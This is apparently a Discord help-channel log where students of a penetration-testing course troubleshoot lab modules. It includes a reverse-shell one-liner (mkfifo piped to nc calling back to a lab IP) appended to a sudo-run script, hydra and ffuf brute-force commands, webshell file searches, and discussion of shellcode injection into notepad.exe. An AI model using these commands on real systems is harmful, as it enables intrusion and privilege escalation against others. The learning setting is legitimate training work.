modules

[brittle solar]

yeah i thought it wouldnt i just thought id try lol

[fathom pendant]

you can put it in the same line

[fathom pendant]

the target is a public_ip:port

so vpn won't change a thing

your system doesn't know how to route to the vhost.inlanefreight.htb:port

[brittle solar]

when i scanned for vhosts, it didnt yield any results.

[fathom pendant]

tip: any time you find a vhost -- add it to /etc/hosts

your command is likely wrong

[brittle solar]

the command i used was: gobuster vhost -u http://inlanefreight.htb:58452 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

[fathom pendant]

wrong list

[brittle solar]

alright thanks ill try some others

[fathom pendant]

use one of the lists that was showcased multiple times in the module

you can also (safely) use 100 threads with gobuster without bricking the server/dropping connections

but subdomains-top1million- is the right set of lists

[brittle solar]

okay thanks Im pretty sure i used that before but ill try again!

[fathom pendant]

it's one of the bigger lists

[brittle solar]

found it, thanks for the help. I looked before at my command history and when i ran the list the correct vhost was on I terminated the search when it was 98% done because i thought it was likely just not in that list and it would have appeared earlier lol. Duly noted, finish the scan

[fathom pendant]

2 things delete bc spoiler

[ashen umbra]

ok

[fathom pendant]

And 2 replace :MYPORT with just literally :PORT

[ashen umbra]

Alright deleted. Thanks

[fathom pendant]

The answer field isn't that smart

😉

[austere citrus]

@fathom pendant you seem to know a lot! If you don't mind a personal question, are you working on a path(s) in HTB or do you just mod here?

[fathom pendant]

I'm not a mod

I just spend time helping

[austere citrus]

oh, i see

are you on a path in the academy?

[fathom pendant]

Yes

Been busy with life so priorities shift

[jade latch]

Attacking Common Services - Easy Lab

got the webshell and successfully uploaded a reverse shell. im listening and executing the shell with "shell.exe" in the webshell, but i don't catch anything from nc. the webshell doesn't do any commands other than whoami and downloading from the http server.

i assume i'm on the right path with the reverse shell, but don't see any other option

[fathom pendant]

I mean... why not use the webshell to find and read the file, no revshell needed

Also, is the target windows?

I genuinely forget

If it is; then use windows commands to find files

It's likely that there's Outbound rules preventing the revshell connection

This isn't the channel to ask about boxes

This channel is for academy modules

[distant island]

Mb 👌

[jade latch]

that what i thought. yes it's windows. i tried earlier forfiles and dir which i didn't get anything from. somehow for /d %d in ("C:\Users\*") do dir /s /b "%d\flag.txt" worked ✅

[silk anchor]

Probs worth noting that if they are asking for admin flag its almost always on the admins desktop

[fathom pendant]

For loops don't work too well in webshells

[fathom pendant]

Because default env is cmd

[high reef]

s

[fathom pendant]

This isn't the place to broadcast you need help

[split glade]

Module: Attacking Common Services
Chapter: Attacking Tomcat

• in the chapter, we're given 2 options to brute force Tomcat, a msf module and a python script
• but since it's a simple http basic auth login, why don't we use hydra instead, isn't it more straightforward than a python script?
  hydra -L /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt -f web01.inlanefreight.local -m /manager/html http-get -u -s 8180

[next bronze]

yeah you can

[split glade]

I'm trying to follow the logic behind using a python script when you can use hydra. I can understand a python script alternative to a msf module (for OSCP or customization needs), but not really for a Basic Auth with hydra

[next bronze]

it's just to show different ways you can do things, with some modifications you can make the script work with post forms

[distant island]

sorry

[split glade]

Fair enough, the course does talk about scripting after that

[rustic sage]

If I reset a lab does it reset for everyone else?

[fathom pendant]

No

Modules labs are completely independent

[uncut carbon]

Hey, so I’m on the ARP spoofing and abnormality detection lab. I uploaded the resource for Wireshark and read through the lab instructions. The question asks me to submit the total count of ARP requests, and it’s showing 1, but the number at the bottom of Wireshark says 42. I ran the command (eth.src == 08:00:27:53:0c:ba && arp.opcode==1). Am I doing something wrong?

[sterile solstice]

https://academy.hackthebox.com/module/54/section/502

Attacking Web Applications with Ffuf - Filtering section

I have added the target to /etc/hosts as academy.htb, then run the filtering scan to filter with VHosts (with a size greater than 900 to filter out empty pages), but I'm getting back hits on every name in the wordlist.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs 900

The question for the section is asking for 'what other VHosts do you get' ... I get all of them ....

[next bronze]

then you'll need to adjust the filter

[sterile solstice]

almost all the pages were 986 in size. made the filter that ....

[topaz fossil]

-fs 900 filters out results exactly 900 bytes only

[next bronze]

yes

[sterile solstice]

thought it was only showing results above 900, and i was expecting to find the 1 i needed being larger than 900 ...

[next bronze]

you won't know the right size until you get a hit, so filter by the size you don't want to see

[sterile solstice]

that info is very helpful on the next one for para fuzzing lol

yea just tried that with para fuzzing and it worked a treat.

[wheat garden]

any one done the intro to assembly language module? Need help with the exercise in the section "Debugging with GDB" can pm me about this

[next bronze]

what do you need help with

[lone canyon]

Can anyone guide me on how I can type the commands to get the answers for the following questions:

1. What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?

2)How many files exist on the system that have the ".bak" extension?

3)Submit the full path of the "xxd" binary.

[rustic sage]

what os is it?

[fathom pendant]

It's linux

[fathom pendant]

It's from the linux fundamentals module, this section gives example commands and explanations

[lone canyon]

Correct, but I am struggling with this part as I don't quite know what I can type to get the information needed

[fathom pendant]

Look at the example find command

I believe this section or another contains a list of common commands

If you're unsure you can always either do <command> --help or man <command> to read how to use it

[rustic sage]

post screenshots

[lone canyon]

Gotcha okay

[rustic sage]

what os is correct?

[fathom pendant]

His account isn't linked, can't post screenshots here

[fathom pendant]

Brother. This is linux

[graceful mortar]

[fathom pendant]

You have to have the drive and curiosity to be able to succeed,

[lone canyon]

Way ahead of you on that one, also like seeing what others have found that I may have not thought of

[fathom pendant]

It's literally just reading the manual

[lone canyon]

Cool ill circle back to it and if I have more question I post it here

[fathom pendant]

You'll run into that a fair bit in this field

The example command from this section pretty much gives you the answer to 1

which is another command that can help with 3

And find can also be used for 2

[lone canyon]

Perfect thank you @fathom pendant

[fathom pendant]

Note config files are usually named; .conf, .cfg, or .config

[lone canyon]

Gotcha, good to know

[lofty sparrow]

need a hint for file upload attacks module im on the skills assessment trying to fuzz for extensions but the wordlist in the module isnt proving useful

[sterile solstice]

https://academy.hackthebox.com/achievement/1346583/54

[outer dagger]

Hello!
I'm on this module / section https://academy.hackthebox.com/module/77/section/859 and I'm having trouble putting in what I should put as the 'TARGETURI' with metasploit. I know what exploit to use and why. I hope somoene can help me.

[frank sun]

Need help - I'm using browser based instance to complete the module chapter SMTP. For the last Q, I need to find the system username by enumeration. Upon multiple tries with different username wordlists, did not succeed. So took a hint and it says, I need to use the provided wordlist i.e Footprinting-wordlist. But I cannot find this wordlist in the browser instance. Tried find / -type f -iname "Footprint-Wordlist*" 2>/dev/null no result. Can someone please tell me where can I find this wordlist stored on the instance? Thank you in advance. And sorry if I overlooked/missed something or its silly. 🙃

[next bronze]

put the target url, there are examples given

[next bronze]

what module

[frank sun]

https://academy.hackthebox.com/module/112/section/1072

[next bronze]

it's in the resources button, scroll up

[frank sun]

yes, where to find in the browser instance?

[next bronze]

you don't, transfer it over

[frank sun]

oh okay, on it

[outer dagger]

oh nvm i got it bruh

[frank sun]

Done, thank you!

[fathom pendant]

You don't need to change that variable

[outer dagger]

yup dw i got it down now

man im proud i did this 🤣

[fathom pendant]

Gj :)

It doesn't get easier

[outer dagger]

yeah l0l i. tried to put like an empty space but it didnt work

so i was like how do i put 'nothing' so to say but its all figured now! 😄

im trying to get a privesc script to the target box but when i do the command it wont even start lol

from my own box*

this is more of like an error thing:

it should be like that but now when i do it:

like ive done it b4 idk why it wont work now

[next bronze]

the server is running

[outer dagger]

wot? it told me to wait for the 200 code as that means its running

oh no wait

sorry l0l its when scirpt is installed it says 200 mbbbbbb

[next bronze]

it will only show if something send a request to it

[outer dagger]

im looking at the modules that shows ways of transferring files i think i got it now

[fathom pendant]

The example shows the successful request to the running web server

Also you don't need sudo to run it on 8080

Any port > 1024 doesn't require sudo

[outer dagger]

i tried wget anyway it didnt work so its ok but yeah i was writing sudo cause the module also did sudo

when i learnt about the http seerver

[fathom pendant]

When dealing with alternate ports you need to specify the port in the request

[dim wolf]

yea idk why module shows sudo for port 8080, not required

[outer dagger]

i did

[fathom pendant]

wget http://[your_tun0]:port/[file]

[outer dagger]

but the target doesnt have wget

[fathom pendant]

Is it linux?

If so it should

[dim wolf]

maybe it's a container

[fathom pendant]

They can't access the internet

[outer dagger]

hmmm

[dim wolf]

some containers don't have wget

[outer dagger]

i did this and it didnt work

[fathom pendant]

"Didn't work" what error?

[rustic sage]

Sudo is required for 8080 bro

[outer dagger]

as that was the thing i learnt earlier so i was like ok ill just use that

[fathom pendant]

Did you get the request in your running http server?

[fathom pendant]

Oh

[rustic sage]

I can't start a python server on 8080 without sudo

[outer dagger]

nope

[fathom pendant]

You need to drop into a shell

[dim wolf]

is 8080 special or something

[fathom pendant]

You're trying to run it from the meterpreter console

[rustic sage]

Idk

[fathom pendant]

Type shell first

[outer dagger]

oh from /bin/sh?

[fathom pendant]

No

[dim wolf]

i guess since reverse proxies tend to use 8080 it may have significance

[fathom pendant]

You're not in an interactive session in msfconsole

[rustic sage]

Ye

[fathom pendant]

You need to drop into the shell

[rustic sage]

At least in my laptop, running anything on 8080 requires sudo

[outer dagger]

help me. 🤣

i was doing arroe key left and right

and i fucked it

[fathom pendant]

python3 -c "import pty; pty.spawn('/bin/bash')"

You didn't fuck anything up

[next bronze]

huh what distro are you using that you need sudo for 8080

[fathom pendant]

It's just not a full shell

[outer dagger]

im very confused rn

[rustic sage]

Ctrl + l will unfuck everything for u

[fathom pendant]

I'm telling you how to get a more interactive shell

[outer dagger]

not familiar territory

[rustic sage]

Debain

[fathom pendant]

This is a command you need to know very well

[next bronze]

that is definitely not normal

[outer dagger]

smths not right... i did ctrl + l nothing happened

[rustic sage]

¯_(ツ)_/¯

[fathom pendant]

I was able to run it without sudo on my ParrotOS box

[rustic sage]

Oh

[fathom pendant]

Do /bin/sh instead of /bin/bash then

[outer dagger]

ive never heard of python3 -c "import pty; pty.spawn('/bin/bash')" i dont think im supposed to do that yet

[fathom pendant]

It's how you upgrade shells

[rustic sage]

That just gives you a stable shell

[dim wolf]

that's just to upgrade your TTY to something more familiar-looking

and also add some functionality

[outer dagger]

oh okay sorry lads man my head

[fathom pendant]

What you're seeing the [[A^ is the literal key interpretation of the arrow keys

[outer dagger]

still stuck

shit ss ik xD

[fathom pendant]

I said /bin/sh

[outer dagger]

oh l0l

[fathom pendant]

Not /bin/bin

[rustic sage]

Lol

[dim wolf]

fuck it, run the bin binary

[fathom pendant]

No such file or directory

[fathom pendant]

Type exit a few times to get out of it then

[dim wolf]

uh, maybe exit and spawn another shell

[dusky gyro]

which python

[outer dagger]

https://tenor.com/view/butters-were-all-fucked-south-park-gif-11674796

[fathom pendant]

Most targets have python3

[rustic sage]

sudo mkdir bin/bin

[outer dagger]

https://tenor.com/view/byuntear-baby-cry-crying-gif-25019897

[fathom pendant]

Calm down

Lol

Run the /bin/sh python command again

[rustic sage]

What exactly are you trying to do now?

[dim wolf]

it's just like the evil-winrm shell i broke after running a powerview cmdlet

[fathom pendant]

Upgrade shell

[outer dagger]

get out of that shit so i get to my normal looking terminal

[rustic sage]

[fathom pendant]

From a meterpreter paylpad

[dim wolf]

you can Ctrl+C, it'll ask if you want to terminate channel, press Y, then enter shell again at meterpreter prompt

[fathom pendant]

The exploits won't always give you a clean looking shell

[outer dagger]

fuck it ill reconnect to it with the exploit

oh

[rustic sage]

Just copy the command @fathom pendant gave you word by word

[outer dagger]

l0l ty

im back

i thought it would exit me out completely thats why i didnt do it

[dim wolf]

just to make sure it works, type whoami after dropping into shell

[fathom pendant]

Now drop back into the shell with shell

[outer dagger]

i wrote abit fast so they overlapped but they are seperate trust

[fathom pendant]

Ok it's working

You don't need to write "shell" in the session btw

[outer dagger]

oh

[fathom pendant]

You only need to write it from the msfconsole part

[outer dagger]

cool

[fathom pendant]

Ok

[dim wolf]

you can upgrade TTY now

[fathom pendant]

Now

[rustic sage]

Doesn't msfconsole give you an upgraded shell automatically?

[fathom pendant]

Not always

[rustic sage]

Oh

[fathom pendant]

It depends on the payload/exploit

[outer dagger]

okay now: python3 -c "import pty; pty.spawn('/bin/bash')" ?

or sh

[fathom pendant]

/bin/sh

[dim wolf]

/bin/bash would probably work

[outer dagger]

there u goooooooooo

[dim wolf]

mrb3n sounds like a regular user

[fathom pendant]

The error was saying /bin/sh

[outer dagger]

ok now what i was actually here for

[fathom pendant]

Now you can move forward with wget

[dim wolf]

damn bro no bash

[outer dagger]

u said wget should be on it

ok it is ty!!!!

[fathom pendant]

Error: Source: User

[outer dagger]

ok permission denied

ig ill try curl

[next bronze]

cd to a dir you can write to

[outer dagger]

tru lemme check

[fathom pendant]

/tmp/ is world writable

[rustic sage]

Are they trying to import something to the target VM?

[outer dagger]

im trying to import a PrivEsc script into the target VM, rn the LinEnum.sh

[rustic sage]

Oh ok

[fathom pendant]

That's not a privesc script

It's an enumeration script

[outer dagger]

Sorry yeah but it will allow for a PrivEsc if it finds anything

Mb wasnt that precise i still gotta figure out all these words hehe

[fathom pendant]

it will give you something to look into for your privesc

(sudo -l would get you some info faster btw)

you will also need to reference gtfobins

https://gtfobins.github.io/

[sterile solstice]

this. it's mentioned early in the path but i forgot about it, but so many of the exploits are done using info provided on this amazing resource. its now a go-to

[outer dagger]

Oh? I don’t recall it at all tf

I even take notes for important stuff like that

[sterile solstice]

yea, if, for example, yuo can run ||php|| as sudo, if you go to that website you will see commands that will help you use that to privesc. or similarly, if you can run vim without a password for sudo then check the site, it'll show you how to then get root

there's a windows version too, btw

[fathom pendant]

lolbins

https://lolbas-project.github.io/ mb lolbas

Living Off the Land Binaries and Scripts

i think the thing I like a lot about LOLBAS is they also link to the related MITRE ATT&CK framework

[sterile solstice]

definitely a great resource

[idle sigil]

Hi, can someone please help me with Attacking Common Services - Hard --- I cannot seem to be able to download anything from SMB 😦

[fathom pendant]

make sure you are in a writable directory like /tmp/

[idle sigil]

omg thank you!

[sterile solstice]

https://academy.hackthebox.com/achievement/1346583/57

pretty cool skills assessment tbh

[rustic sage]

having a problem with this question

[rustic sage]

1. Ensure you're in the directory
2. Use the get command. Usage: "get filename.extension"

Oh you've answered it, nice

[rustic sage]

Module: Footprinting
Section: SMB
<-- would be sick if i got some help with this, not sure what im doing wrong

[fathom pendant]

brother

you need to use the module name and section name

the endpoint isn't helpful at all

[rustic sage]

o shit okay

[rustic sage]

sorted

[fathom pendant]

what is the customized version, usually it's samba smb but this isn't, use what you know to find the version

the answer is the full name including vX.X

it's asking about the network share you found, so --- get info about it 😉

[worn matrix]

at pivoting,i really have problem to this quest Which of the routes that AutoRoute adds allows 172.16.5.19 to be reachable from the attack host? (Format: x.x.x.x/x.x.x.x) .I can't work the autoroute,because i can't find a session.And i follow the steps

anyone can help me?or atleast give me a hint?i can't find the session to run autoroute

[sterile solstice]

to find your active sessions, in msfconsole you type "sessions"

then "sessions 2" to select the second one.

[worn matrix]

yes,but its like i dont have a session

while i follow the steps,have a meterpreter,then setup proxy server inside msfconsole,i mean i dont know why it isn't working

[sterile solstice]

do you have to background the session, then run the autoroute ?

if you background the session, then you'll have a session to choose. if you have no session to choose, then you're not in a shell to begin with

[worn matrix]

i have 2 terminals,1 with the revshell,and another with msfconsole in my attack host.I setup the proxychains inside msfconsole

something i am doing wrong/missing something

i think i just fixed it

[sterile solstice]

awesome

i plan to circle back to that, but i'm going to try using ligolo-ng

[worn matrix]

yeah i saw a video about ligolo-ng but i am still behind.I found the 2 subnets,but now the answer is not correct

[sterile solstice]

good job finding them. pivoting through and all the listeners/proxy's gets confusing

i need a nudge every now and then with that one

[worn matrix]

can i dm you one sec

[sterile solstice]

yes

[wicked apex]

I suppose dictionary attacking w/ hydra or msf is not expected in the medium or hard footprinting lab right..?

[fathom pendant]

only to the extent of whatever is taught

but the only thing i'll tell you: as long as you properly enumerate you'll be on the right path

[fringe urchin]

https://cdn.discordapp.com/attachments/248522601956245504/1259465840068395129/image.png?ex=668bc878&is=668a76f8&hm=ede63892ec5b199195787a78b12fcbe37c2e18babaf1f74d747253f0b81b462c&

took me a while but had very little time to spend on password module past 2 months

maybe 3 hours per week if lucky

[uncut cave]

Hi ya, I’m having issues with windows evasion module, process injection section. it seems like the payload is not being executed

[autumn gulch]

I am also stuck in same challenge. Can you nude me ..

[outer dagger]

ayee gz! progress is progress

[iron ibex]

Module : Footprinting
Section : MSSQL
Question : Connect to the MSSQL instance running on the target using the account (backdoor:Password1), then list the non-default database present on the server.

What am I not doing right ? 🤔
Any hint ?

[verbal turtle]

BROKEN AUTHENTICATION

Attacking Session Tokens

[safe yoke]

theres one word

Broken Authentication, the OTP Part in the skill assesment can someonehelp me out

[verbal turtle]

if i solved the skill i told you 😂

[safe yoke]

[wicked apex]

read the example carefully

[high reef]

i was able to follow what the excerise wanted me to do and get code execution

but when i try to access thee home directory i get this eerror

[pulsar oak]

Hi everyone, Who knows why, with the same scan as in the lab, my bind version does not show?

[iron ibex]

Thanks sir !

[verbal turtle]

i told you use burpsuite and what you learned in command injection to bypass space character

[next bronze]

this is one of the few instances where you need to use pwnbox

[high reef]

can i Dm you for some help ?

[verbal turtle]

ok

[pulsar oak]

Thanks, it helped

[safe yoke]

help me with the broken authentication skill assesment otp part

[outer dagger]

Hello again,
I now have Target VM access with a path that doesnt require sudo password. I need to make a NC that waits for connection to my local vm with root access. I don't know what to do. I tried to apply what I learnt before, but it's a bit different.

[next bronze]

explain more on what you need to do and what you tried to do

also module and section

[outer dagger]

https://academy.hackthebox.com/module/77/section/859

And script has discovered or sudo -l

From the previous section once I had this the sudo pwnage, I used this:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh

sudo /home/nibbler/personal/stuff/monitor.sh

and then:
on my local vm: nc -lvnp 8443 to catch root shell

I saw the pattern repeating, so I figured I'd do somewhat the same:

So I wrote:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <w.e my tun0 is> 8443 >/tmp/f' | tee -a /usr/bin/php

is that wrong? I figured this is where I went wrong

[next bronze]

yes, previously monitor.sh is a script that you can write to, now php is a program you can run with sudo, but you don't have write permission to it

[outer dagger]

right

[next bronze]

consult https://gtfobins.github.io/ and check the sudo section

[outer dagger]

will do, thank you Xre0Us I appreciate it

bruh yeah marcilee told me too i forgot but that was yday just woke up

[frank sun]

hey guys, need help. I'm trying to complete the last Q from this module https://academy.hackthebox.com/module/112/section/1238 from browser based instance. but the instance does not have mysql tool. Tried installing from apt and manually via downloading the deb package but it is unsuccessful. Please tell me if I'm missing anything

[wicked apex]

#710108839063846964 message

[frank sun]

let me give it a try 🙂

[outer dagger]

How can I get more cubes? I only have 30 cubes and I need 20 for the next module? aka the nmap enumeration module.

[wicked apex]

Prob go for subscriptions

[outer dagger]

I would need to be on subscription? I'm a high school student, I would assume that wouldn't go under your lists of "student" ?

[next bronze]

student subscriptions are available

it's $8 a month

[frank sun]

worked like a charm, thanks for sharing!

[wicked apex]

Module: Footprinting
Medium Lab
Question: Am I supposed to extract the mssql db file exactly with the previously obtained credentials of sa and alex via smbclient? I didn't saw 1433/TCP open from nmap. Or is there anyways to interact inside out via smbclient or rpcclient?

[safe yoke]

https://academy.hackthebox.com/achievement/910766/80
i was so dumb nvm

[next bronze]

try other protocols like rdp

[rustic sage]

I figured out what it was, i was really dumb about it.

[wicked apex]

I always forgot about this and winrm

[rustic sage]

I forgot to let you know about it

[zenith dome]

A session token can be brute-forced if it lacks sufficient what? This answer it’s not correct A weak cryptographic algorithm . Anyone can help me please # broken authentication

[verbal turtle]

why

[frank sun]

Hey again, someone please help me with this issue (stuck since last 15mins) #starting-point message

module - https://academy.hackthebox.com/module/112/section/1246

[grizzled fulcrum]

Broken Authentication, Authentication Bypass via Parameter Modification
can someone help me?

I tried burp intruder with the worditst 0 to 1000 but is not seem like the right path

tried ffuf|| ffuf -w /usr/share/seclists/Fuzzing/3-digits-000-999.txt -u "http://94.237.53.113:51211/admin.php?user_id=FUZZ" -fr “Could not load admin data. Please check your privileges.” -fs 14484||

[next bronze]

next time just paste the issue here but try reinstalling

pip uninstall impacket
pipx uninstall impacket
pipx install impacket

[grizzled fulcrum]

forget about it

I found it

[grizzled fulcrum]

-fr make no sense here

[next bronze]

and run it without python3, just mssqlclient.py

[frank sun]

tried this as well. No luck. There seems to be a new one that might not be discussed earlier (or maybe I missed that message while searching)

[next bronze]

follow what I sent, don't install with pip

[frank sun]

it worked 🤯

[next bronze]

there's some python env issues with the current pwnbox image, pipx would handle it for you

[verbal turtle]

@safe yoke dm please

[frank sun]

Nice, thank you again!

[verbal turtle]

BROKEN AUTHENTICATION
Skills Assessment

ffuf -w 4_token.txt -u http://94.237.49.212:34777/2fa.php -X POST -d "otp=FUZZ" -fr "Invalid OTP." -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=batl5885t858e6l4ssvomnf1b8"
it doesnt work why ?

[latent glen]

Hello guys, Im in the module ATTACKING ENTERPRISE NETWORKS in the web enumeration & Exploitation part on question 2. No matter what I upload, I always get "JPG, JPEG, PNG & GIF files are allowed." even if to test, I upload a real jpg or png or any other file. Following exactly what the solution says also doesnt work for some reason

worked. Issue with the machine, restart fixed it

[uncut cave]

@next bronze Hi ya, sorry for pinging, do you mind if I DM for help in Windows Defender "Process Injection" ?

[next bronze]

I didn't do that module. I have implemented it in C but not C#, but the process should be similar, what are you having problems with

[uncut cave]

The process injection is crashing the process I want to inject to (eg. notepad.exe). I'm simply doing creating process, alloc memory RW, write shell code, set memory to RX and create remote thread. The crash point is at creating remote thread

[next bronze]

have it print out the error using GetLastError https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror and debug from the outout
also make sure your target compile is the right architecture and build

[uncut cave]

I think it crashes in the notepad.txt process so I would need x64dbg it instead

[next bronze]

yeah that works too

also iirc it's notepad.exe on windows 10 and Notepad.exe on win 11

[verbal turtle]

no one answer @everyone

[uncut cave]

ah apparently notepad.exe is 32bit so it crashes when I try to run 64bit shell code lol

[slender violet]

I've been having connectivity issues with pwnbox the past couple days. While I first start working on an exercise I start pinging the target IP but eventually the pings stop going through. If I wait long enough with the ping command still running, eventually the pings will start getting through again and I can proceed with the exercise. I've tried reverting/resetting the target but it doesn't prevent it from happening again.

[autumn pilot]

have you reached out to support

[slender violet]

No I have not. Is this how I do it?

[autumn pilot]

correct

[slender violet]

Ok I will. Thank you.

[spark spruce]

DM!

[next bronze]

ah ok, the notepad in SysWOW64 should be 64 bit

[autumn gulch]

Module: Information Gathering - Web Edition
Section: Skill Assessment
Question: "After crawling the inlanefreight.htb domain on the target system, what is the email address you have found? Respond with the full email, e.g., [e-mail]."
I'm using ffuf and zaproxy and I was fuzzing http://inlanefreight.htb:port/FUZZ url with these seclist wordlist: common.txt, big.txt, directory-list-2.3-medium.txt, raft-* etc but with no luck. I did the same for subdomain and hidden admin directory.
What am I missing? Can someone share a hint?

I am stuck from one day know .

[safe yoke]

sorry for the delay i dropped a message

[inner geyser]

Working on the Attacking Common ApplicationsSkills Assessment II, fuzzing for vhosts. Any idea why I"m getting nothing but 'Status: 400' results back using GoBuster? Ffuf works just fine, just wondering if there's any issue with my GoBuster commmand or if I should consider uninstall/reinstall?

[fathom pendant]

@inland nymph I didn't give permission to dm

[uncut cave]

I'm now trying to inject to 64bit notepad, and for some reason it returns no thread ID from creating remote thread. I checked GetLastError but got 0

No crashing anymore tho

[next bronze]

but does the shellcode run? you can use x64dbg or process hacker to see the threads in a process

[uncut cave]

no, it didn't run, I have added breakpoint on where the shellcode is but got nothing

no threads have been created

[next bronze]

print out the address of lpBaseAddress and examine in the debugger

add breakpoints after each operation

[uncut cave]

Did that but it didn't trigger the breakpoint

[next bronze]

you can add a pause within your progream itself

[uncut cave]

I meant the breakpoint in x64dbg for notepad.exe

for the visual studio code, I have stepped into each operation until CreateRemoteThread

@dense ferry Do you mind giving a hand on "Process Injection" for Windows Evasion, as the example isn't enough to get the task done, and been running to weird issues

[next bronze]

yeah so is it being written into the allocated memory?

[uncut cave]

yup it has, the shellcode has been written to lpBaseAddress, the permission is also correct (RX)

[next bronze]

I don't have access to my dev vm now so I can't test it, but the code is fairly standard for process injection, no reason why it shouldn't work

maybe try other programs?

[uncut cave]

the funny part is that if I pause the notepad.exe and move the RIP to where the shellcode is, it actually works

so I just don't get why createRemoteThread doesn't return a thread ID, meaning failed to create one, while calling GetLastError() returns 0 as well

[next bronze]

that is very strange

is your project settings correct? x64 release mode

[uncut cave]

yea, i just found out that visual studio by default setup "Any CPU" config which is 32bit....

sorry for bothering with you coz of this

[next bronze]

ah okay at least it works now

[uncut cave]

Seems like binary in ProcessInjection doesn't get triggered

[fathom pendant]

I generally don't recommend random pinging staff (even if they're the module author)

[uncut cave]

so do I post issue in erratum channel ?

[fathom pendant]

Only if you believe it to be an error in content, and not you misunderstanding/not reading thoroughly

[wheat garden]

everything. I have near to 0 knowledge on assembly language I'm setting my break point at _start function and stepping but ya programs terminating at 13 address so cant get to the 16 to analyze it.

[fathom pendant]

this might be an issue with hex vs dec

i believe the debugger defaults to hex

whereas you're trying to step in dec

16 from hex --> dec = 21 iirc

16 in dec to hex is 10

[timber hatch]

INTRODUCTION TO DIGITAL FORENSICS
Evidence Acquisition Techniques & Tools
Visit the URL "https://127.0.0.1:8889/app/index.html#/search/all" and log in using the credentials: admin/password. After logging in, click on the circular symbol adjacent to "Client ID". Subsequently, select the displayed "Client ID" and click on "Collected". Initiate a new collection and gather artifacts labeled as "Windows.KapeFiles.Targets" using the _SANS_Triage configuration. Lastly, examine the collected artifacts and enter the name of the scheduled task that begins with 'A' and concludes with 'g' as your answer.

are in the screenshot the right artifacts?

[rustic sage]

https://academy.hackthebox.com/module/144/section/1255

Trying to grasp the concept of zone transfers. In this screenshot, is nsztm1.digi.ninja one of the Name Servers, while zonetransfer.me is the domain?

[cloud urchin]

that's right

[fathom pendant]

dig <type> @nameserver domain/website

the nameserver part can be an IP not just a FQDN

also as a note; remember you're seeing records relative to the server you query

so a record that's 127.0.0.1 on the query means it exists on the same host

[rustic sage]

When I attempt to retrieve the NS for inlanefreight.htb, there are no results.

Is the NS meant to be the generated target?

I ran the command ||$dig NS inlanefreight.htb|| btw

[wary plover]

I think you forgot your nameserver

[timber hatch]

somebody online who knows this?

[wheat garden]

how do I switch the mode if that is the issue?

[rustic sage]

I though that is what the command is supposed to be searching for/retrieving

[fathom pendant]

you still need to give at an IP to search from

otherwise it defaults to public nameservers

[rustic sage]

And that would be the one generated for the question?

[wraith pelican]

the dig command is like: dig (for the records) NS TXT A AAAA ... (related to this) domain @ dns server ip address (whatever ip address is used as a dns server). So it is a bit like searching for a file in a folder in a building.

but i don't know if it is clear for other readers...

[rustic sage]

Okay

So it should be formatted more like ||$dig NS inlanefreight.htb @generated_ip_adress||

or am i misunderstaind the name server

[wraith pelican]

yeah if you look for the name server record that's what you can use

but you'll get results only if a DNS server is in use.

[rustic sage]

I think i found my issue 😭

I need to be on a vpn dont i

[wraith pelican]

i dont know what you got. Generally if you have an IP:PORT that's not necessary, but if you have IP:PORT, that's most likely a virtual host

[fathom pendant]

yes

[fathom pendant]

this question uses a private ip 10.129.x.x

[rustic sage]

So i need to use the academy nameserver in order to retrieve the NS for inlanefreight.htb

then I use that NS to axfr request

[wraith pelican]

i was checking the course and they say:
You can use the dig command to request a zone transfer:
$ dig axfr @nsztm1.digi.ninja zonetransfer.me

[fathom pendant]

You use the generated ip

[fathom pendant]

A zone transfer will also yield a NS record

And the A records

[wraith pelican]

yeah it will drop everything

[rustic sage]

Okay got it

[fathom pendant]

In short @rustic sage use the generated ip in place of the nameserver

[rustic sage]

Now i have to either count the records or find a flag to do it for me

[rustic sage]

Yeah

Ok thanks guys

[fathom pendant]

For the a records question I suggest using regex to filter the A record lines

Don't forget about other possible zones (subdomains)

[rustic sage]

I just shortened it and counted it

[fathom pendant]

I mean wc -l is helpful

Alongside grep

[next bronze]

so I just tested it, you can inject x64 payload into notepad at system32, if the OS is 64 bit, the program will run at 64 bit, that's why I didn't ask you to check the process type to begin with. so I'm not sure where is going wrong there because I've tested the code in the module and it works with minimal modifications

it doesn't get triggered likely because your program is running the wrong calc exe

[next bronze]

also some screenshots or commands you've used would help

[wheat garden]

b _start (to set break point)

si (to step)

tried setting breakpoint after the point where program terminates and using

"jump" command though this doesnt work program still crashes.

[fathom pendant]

Can you do _start + 10?

If your gdb is in hex that'll jump it the 16 steps

1-9A-F = 1-15

[worn matrix]

Can someone explain me,what is the "user's secret key" in this : TGT Issue: The KDC verifies the user's identity (usually through a password hash) and issues a TGT encrypted with the user's secret key. The TGT is valid for a specific period and allows the user to request service tickets without needing to re-authenticate.

maybe the user's secret key is the password hash...?because i can't think anything else

[wheat garden]

seems no says is undenfined when I tried to jump to that Though heres a screen shot program seems to go down after the 401013

[fathom pendant]

It's a mix of things

[fathom pendant]

Yeah, it's in hex

[next bronze]

you breaking at the start then si and stop at the right place is all you need

[worn matrix]

mix means.. ?

[next bronze]

10 in hex is 16 in base10

[fathom pendant]

It means it's a mix of hash, timestamp, machine info

https://www.ibm.com/docs/en/zos/2.4.0?topic=kerberos-basics

[worn matrix]

i got it,i meant mix of what.Ok thanks for the help ❤️

[wheat garden]

ok

[fathom pendant]

https://www.hypr.com/security-encyclopedia/ticket-granting-tickets

Additional documentation for you @worn matrix

[wheat garden]

so the question giving me in decimal but the debugger is in hex got it

[fathom pendant]

As I said earlier lol

[wheat garden]

Lol Im serious when I say in this area of debugging and assembly language im complete freaking noob. This is totally new paradigm for me. Havent messed around with stuff like this at all.

[fathom pendant]

I even broke down what was happening

Going + 16 in hex was going + 22 in dec

Which is outside range, hence the fault

The question wants you to go + 16 in Dec, which is +10 in hex

[next bronze]

